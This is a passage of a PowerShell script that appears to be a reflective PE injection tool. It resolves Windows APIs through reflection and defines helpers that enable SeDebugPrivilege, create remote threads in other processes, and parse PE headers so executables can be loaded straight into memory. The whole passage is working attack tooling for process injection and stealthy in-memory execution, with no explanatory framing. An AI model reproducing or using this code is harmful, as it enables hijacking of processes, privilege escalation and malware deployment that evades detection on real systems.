$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
return $Win32Constants
}
Function Get-Win32Functions
{
$Win32Functions = New-Object System.Object
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
$GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
$GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
    $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
    $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
    $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
    $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
        $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
        $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
        $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
        $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
        $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
        $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
        $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
        $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
        $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
        $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
        $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
        $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
        $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
        $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
        if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
    $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
            $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
            $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
    $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
        }
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
        $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
        $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
$LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$LocalFreeDelegate = Get-DelegateType @([IntPtr])
$LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree
return $Win32Functions
}
Function Sub-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
$Val = $Value1Bytes[$i] - $CarryOver
if ($Val -lt $Value2Bytes[$i])
{
$Val += 256
$CarryOver = 1
}
else
{
$CarryOver = 0
}
[UInt16]$Sum = $Val - $Value2Bytes[$i]
$FinalBytes[$i] = $Sum -band 0x00FF
}
}
else
{
Throw "Cannot subtract bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
$FinalBytes[$i] = $Sum -band 0x00FF
if (($Sum -band 0xFF00) -eq 0x100)
{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Compare-Val1GreaterThanVal2AsUInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
{
if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
{
return $true
}
elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
{
return $false
}
}
}
else
{
Throw "Cannot compare byte arrays of different size"
}
return $false
}
Function Convert-UIntToInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt64]
$Value
)
[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
return ([BitConverter]::ToInt64($ValueBytes, 0))
}
Function Test-MemoryRangeValid
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$DebugString,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr]
$Size
)
    [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
$PEEndAddress = $PEInfo.EndAddress
if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
{
Throw "Trying to write to memory smaller than allocated address range. $DebugString"
}
if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
{
Throw "Trying to write to memory greater than allocated address range. $DebugString"
}
}
Function Write-BytesToMemory
{
Param(
[Parameter(Position=0, Mandatory = $true)]
[Byte[]]
$Bytes,
[Parameter(Position=1, Mandatory = $true)]
[IntPtr]
$MemoryAddress
)
for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
}
}
Function Get-DelegateType
{
    Param
    (
        [OutputType([Type])]
        [Parameter( Position = 0)]
        [Type[]]
        $Parameters = (New-Object Type[](0)),
        [Parameter( Position = 1 )]
        [Type]
        $ReturnType = [Void]
    )
    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')
    Write-Output $TypeBuilder.CreateType()
}
Function Get-ProcAddress
{
    Param
    (
        [OutputType([IntPtr])]
        [Parameter( Position = 0, Mandatory = $True )]
        [String]
        $Module,
        [Parameter( Position = 1, Mandatory = $True )]
        [String]
        $Procedure
    )
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
    Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Enable-SeDebugPrivilege
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $Win32Functions.ImpersonateSelf.Invoke(3)
if ($Result -eq $false)
{
Throw "Unable to impersonate self"
}
$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw "Unable to OpenThreadToken."
}
}
else
{
Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
}
}
[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
if ($Result -eq $false)
{
Throw "Unable to call LookupPrivilegeValue"
}
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
if (($Result -eq $false) -or ($ErrorCode -ne 0))
{
}
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
}
Function Invoke-CreateRemoteThread
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[IntPtr]
$ProcessHandle,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(Position = 3, Mandatory = $false)]
[IntPtr]
$ArgumentPtr = [IntPtr]::Zero,
[Parameter(Position = 4, Mandatory = $true)]
[System.Object]
$Win32Functions
)
[IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
$OSVersion = [Environment]::OSVersion.Version
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
{
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
}
}
else
{
$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
}
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
}
return $RemoteThreadHandle
}
Function Get-ImageNtHeaders
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$NtHeadersInfo = New-Object System.Object
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
    if ($imageNtHeaders64.Signature -ne 0x00004550)
    {
        throw "Invalid IMAGE_NT_HEADER signature."
    }
if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
{
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
}
else
{
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
}
return $NtHeadersInfo
}
Function Get-PEBasicInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$PEInfo = New-Object System.Object
[IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
$PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
return $PEInfo
}
Function Get-PEDetailedInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
{
throw 'PEHandle is null or IntPtr.Zero'
}
$PEInfo = New-Object System.Object
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
$PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
$PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
$PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
$PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
if ($PEInfo.PE64Bit -eq $true)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
else
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
}
elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
}
else
{
